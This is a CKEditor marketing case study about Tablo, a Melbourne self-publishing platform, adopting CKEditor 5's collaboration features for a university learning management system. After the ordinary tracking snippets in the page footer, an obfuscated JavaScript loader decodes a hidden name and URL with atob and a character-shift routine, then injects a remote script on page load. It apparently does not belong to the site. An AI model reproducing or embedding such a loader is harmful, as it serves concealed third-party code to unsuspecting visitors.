Tablo

How Tablo used CKEditor to build a collaborative LMS with no custom coding

View all case studies

All information is correct as of the original time of publishing.

Company

Tablo

Industry

Publishing and education

Location

Melbourne, Australia (Global)

Alex Eckermann

CKEditor 5 saved us so many hours of development.

Alex Eckermann

CTO, Tablo

Outcomes

Saved hours of custom development

New revenue stream

Innovative LMS writing solution

Modern WYSIWYG for real-time collaboration

Faster launch lead time

Extensive documentation and support

The challenge

Build a real-time collaborative writing solution for a university LMS

Tablo is a platform for writing and publishing books – outside the traditional publishing house route. Individual authors use Tablo’s web-based content creation tools to write and self-publish ebooks and print books. But a project with the University of Technology Sydney (UTS) led Tablo to see the advantages of writers collaborating on the same document.

UTS wanted to integrate Tablo’s technology into their learning management system (LMS). In discussions about how the platform could empower students, the idea of real-time collaborative writing emerged.

Tablo CTO Alex Eckermann says the team knew they’d need a modern WYSIWYG to make collaboration work in Tablo. “We pitched the idea of collaboration to them before we actually had a solid plan for what that was actually going to be. There were some solutions that were potentially viable, but none of them ticked all the boxes.”

Tablo started looking for a next-generation collaborative editor that grasped what the future of content writing would be: modern, simple and extensible.

Tablo needed a rich text editor that was:

  • Purpose-built for real-time collaboration
  • Modular and infinitely customizable
  • Easy to learn, with a familiar GDocs-style interface
  • Stable and suited to modern tech stacks
The code structure was amazing…and I was really impressed by the extensibility it offered. We made the decision to completely switch to CKEditor 5 within a couple of days.

The solution

A rich text editor with collaboration built in

After seeing what CKEditor 5 could do, Alex was very impressed: “I checked out the source code and saw straight away how it was built, the methodology behind it and the capabilities that can come from it. It was extremely well documented. The code structure was amazing – some of the best I’d seen.”

Tablo quickly made the switch to CKEditor 5 across their entire platform, and the real-time collaboration features were perfect for the UTS project. Students went from sending drafts via email and Dropbox to inviting each other to online collaborative writing sessions inside their LMS. “They just jump in and collaborate. That creates a new fluid workflow. CKEditor 5 is there to provide a full-featured rich text editing experience,” says Alex.

What we provided

WYSIWYG editor designed for collaboration

Real-time Collaboration (Premium)

Track Changes (Premium)

Comments (Premium)

Revision History (Premium)

Commercial License

The result

Hours of custom coding work avoided and new business opportunities opened

The success of the UTS project has opened up new markets for Tablo. While their writing platform was originally developed for individual authors, the new collaboration features have attracted significant interest in Tablo from other educational institutions.

And that’s not the only new opportunity Tablo has opened up by integrating CKEditor 5. The company is also looking at how collaboration can transform the publishing sector. “There is a phenomenon called social writing. It would be interesting to have an author writing a book live and interact with the community around them,” says Alex.

Asked about the other benefits of CKEditor, Alex says the large amount of custom development time saved gave Tablo a major boost: “At some point, I was contemplating how much effort it would take me to write my own editor or at least find another project that I could adapt. And I realized CKEditor 5 saved us so many hours of development.”

CKEditor 5 has set us up for the future…We are excited to see where these collaborative features can take us.

Share

Find out what CKEditor can do for you

Trusted and approved by

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });